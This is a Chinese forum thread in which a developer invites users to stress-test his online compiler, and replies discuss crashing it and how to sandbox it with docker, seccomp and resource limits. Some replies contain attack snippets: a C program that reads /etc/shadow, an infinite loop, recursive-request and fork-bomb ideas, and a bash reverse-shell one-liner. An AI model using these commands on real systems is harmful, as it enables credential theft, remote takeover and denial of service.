V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
爱意满满的作品展示区。
ykjsw
V2EX  ›  分享创造

v2 的高手们,帮忙测试下这个在线编译网站

  •  
  •   ykjsw · 2016-04-01 16:14:57 +08:00 · 4424 次点击
    这是一个创建于 3187 天前的主题,其中的信息可能已经有所发展或是发生改变。
    在线编译执行,这里的人会玩,帮忙测试下稳定不。

    http://compiler.jser.com/
    第 1 条附言  ·  2016-04-01 23:04:21 +08:00
    把我服务器弄死的兄弟,能把过程发到我邮箱吗? jsw#live.com 谢谢

    目前所知的我的几点问题
    1 不该用 root 跑 docker
    2 未限制每个 docker 的资源
    3 程序对危险函数未做处理。
    43 条回复    2016-04-02 16:22:41 +08:00
    ykjsw
        1
    ykjsw  
    OP
       2016-04-01 16:18:29 +08:00
    谁这么狠。。。
    <?php
    while(True){
    pass;
    }
    liqingcan
        2
    liqingcan  
       2016-04-01 16:36:15 +08:00 via Android
    @ykjsw 你一说我马上就各种语言的死循环各来一遍了。。
    dixyes
        3
    dixyes  
       2016-04-01 16:44:22 +08:00
    #include <stdlib.h>
    int main ()
    {system("cat /etc/shadow");return 0;}
    可怕
    dixyes
        4
    dixyes  
       2016-04-01 16:45:30 +08:00
    @ykjsw 这么玩可不行 容易做大死
    Havee
        5
    Havee  
       2016-04-01 16:48:53 +08:00
    弄不到 root 权限让它关机啊
    ykjsw
        6
    ykjsw  
    OP
       2016-04-01 16:51:20 +08:00
    @liqingcan 。。。干得漂亮
    ykjsw
        7
    ykjsw  
    OP
       2016-04-01 16:52:35 +08:00
    @dixyes 。。。。我想想办法
    UnisandK
        8
    UnisandK  
       2016-04-01 16:55:15 +08:00
    试试递归 POST 怎么样?每个实例 while true 执行 POST 模拟“编译”的请求,请求编译的内容即执行这个循环代码本身,这样实例的数量会直接几何增长
    am241
        9
    am241  
       2016-04-01 16:55:33 +08:00
    @Havee
    whoami

    root


    “有错误发生”——已经被玩死了?
    wph95
        10
    wph95  
       2016-04-01 16:55:46 +08:00
    :)
    不知道是不是爆破成功 反正已经很卡了 快去修吧
    ykjsw
        11
    ykjsw  
    OP
       2016-04-01 16:56:28 +08:00
    我错了,刚刚关掉了,改天再来和你们玩。。。
    ahcat
        12
    ahcat  
       2016-04-01 16:56:28 +08:00
    上不了了
    wph95
        13
    wph95  
       2016-04-01 16:56:59 +08:00
    @ykjsw 快开起来呀 fork 炸弹还没扔呢 =、=
    dixyes
        14
    dixyes  
       2016-04-01 16:57:25 +08:00   ❤️ 1
    @ykjsw chroot 看好环境变量 禁用掉 system 一类的函数 或者 selinux
    ykjsw
        15
    ykjsw  
    OP
       2016-04-01 16:58:46 +08:00
    @wph95 不开
    wph95
        16
    wph95  
       2016-04-01 16:58:47 +08:00
    @dixyes 并没有说起来那么简单的,像 php java 这种丧病语言 system 调用各种多,做个白名单非常麻烦的,随便砍系统调用,调用库 分分钟出现奇怪的 RE 。
    wph95
        17
    wph95  
       2016-04-01 16:59:20 +08:00
    @ykjsw 我手上一一坨的爆破 oj 的代码-。- 快开起来 我免费帮你测试:)
    dixyes
        18
    dixyes  
       2016-04-01 17:00:43 +08:00
    @wph95 嘛 不如只做编译 别运行了 SELinux 把重要的玩意 enforce 掉不好么
    wph95
        19
    wph95  
       2016-04-01 17:01:48 +08:00
    @dixyes python 这种动态语言木有编译环节
    SwimmingTiger
        20
    SwimmingTiger  
       2016-04-01 17:04:08 +08:00
    开个虚拟机在里面运行啊。虚拟机挂掉了自动重启~
    gamexg
        21
    gamexg  
       2016-04-01 17:04:36 +08:00 via Android
    @dixyes 禁函数效果不好, sae php 都被乌云报过安全环境逃逸, docker 之类的系统级安全限制比较可靠些,内核 bug 才会出现问题。还可以实现限制 cpu 内存等资源。
    ipeony
        22
    ipeony  
       2016-04-01 17:04:43 +08:00
    打不开了?江苏电信
    dixyes
        23
    dixyes  
       2016-04-01 17:05:20 +08:00
    @wph95 撸成 pyc 给个链接 拍黄片撸成 phar 啥的 然而我萌讨论并卵
    ykjsw
        24
    ykjsw  
    OP
       2016-04-01 17:11:27 +08:00
    现在机器已经起不来了, docker 刚刚用,也没隔离好,感谢大家给我上了一课。
    yvanhe
        25
    yvanhe  
       2016-04-01 17:24:44 +08:00
    看到标题就知道会发生什么了:joy:
    droiz
        26
    droiz  
       2016-04-01 17:38:06 +08:00
    打不开啊 ,已经被玩坏了吗
    davidx
        27
    davidx  
       2016-04-01 20:29:03 +08:00
    我来晚了么...
    twor2
        28
    twor2  
       2016-04-01 20:35:47 +08:00
    测试圆满成功
    SlipStupig
        29
    SlipStupig  
       2016-04-01 22:09:24 +08:00
    bash -i >& /dev/tcp/your ip/your port 0>&1 解决控制系统
    techmoe
        30
    techmoe  
       2016-04-01 22:39:11 +08:00
    2333333
    virusdefender
        31
    virusdefender  
       2016-04-01 22:40:34 +08:00
    哈哈哈哈 已经卡死了啊

    快来用我的判题沙箱 https://github.com/QingdaoU/Judger
    virusdefender
        32
    virusdefender  
       2016-04-01 22:43:02 +08:00
    我这里还有整套的 OnlineJudge 解决方案 https://github.com/QingdaoU/OnlineJudge

    同求测试 https://qduoj.com/problems/ 账号 v2ex(都是小写) 密码 123456
    denghongcai
        33
    denghongcai  
       2016-04-01 22:51:59 +08:00   ❤️ 1
    docker 里跑, LXC 把资源限制死,容器大小用 brtfs 策略限制或者直接用 devicemapper 做底层驱动
    virusdefender
        34
    virusdefender  
       2016-04-01 23:08:34 +08:00
    1 不该用 root 跑 docker

    docker 好像必须 root 吧,你说的 docker 里面么?那个可以使用降权用户的。

    2 未限制每个 docker 的资源

    这个是的

    3 程序对危险函数未做处理。

    危险函数是过滤不完的,过滤系统调用最简单。

    ---

    我没看到你的网站,能编译 C/C++么,有些代码可以卡死编译器的。
    ykjsw
        35
    ykjsw  
    OP
       2016-04-01 23:11:57 +08:00
    @virusdefender c\c++ python lua java swift 等,基本常见的都可以跑

    不是 docker 守护近程,是执行的那个,可以用其他用户跑的,我是因为一个权限问题,偷懒,直接改成 root 跑了

    3 嗯,确实不可能 disable 完,我看到有个用禁止 sys_call 的方法(好像这么叫),但不知道怎么弄。。。
    virusdefender
        36
    virusdefender  
       2016-04-01 23:17:07 +08:00
    ykjsw
        37
    ykjsw  
    OP
       2016-04-01 23:22:43 +08:00
    vm
        38
    vm  
       2016-04-01 23:40:38 +08:00 via Android   ❤️ 1
    @ykjsw 禁用 syscall 是用 seccomp
    xiaozi
        39
    xiaozi  
       2016-04-01 23:56:19 +08:00
    livc
        40
    livc  
       2016-04-02 00:47:27 +08:00 via Android
    @wph95 求爆破 oj 代码
    #outlook.com
    wph95
        41
    wph95  
       2016-04-02 11:12:05 +08:00   ❤️ 2
    @ykjsw virusdefender 的方案是不错的
    但是如果你支持的语言越多 seccomp 白名单就得做的越多
    白名单是很不靠谱的,非常容易误杀掉语言的一些特性。
    比如你把 fork 给 ban 掉, java 性能锐减,而且会出现很多奇怪的错误。
    用 docker 自身安全就好。
    昨天我就随便写了个 fork 炸弹,目测就把你这个东西炸坏了。
    // docker 1.10 防 fork 炸弹真心方便,想当年 1.0 时代。。。。
    用 root 跑 docker ,这个真没有问题,就算你是用 docker 组的用户,他要是跑出来都是能修改 cgroups 的
    问题在千万不要 docker 不安全容器用 root 权限执行,是一个大幅度提升危险的举措。
    tuuuz
        42
    tuuuz  
       2016-04-02 12:53:23 +08:00
    哈哈 评论看下来充满喜感
    bwangel
        43
    bwangel  
       2016-04-02 16:22:41 +08:00
    我去,看起来好腻害!
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3357 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 97ms · UTC 00:50 · PVG 08:50 · LAX 16:50 · JFK 19:50
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.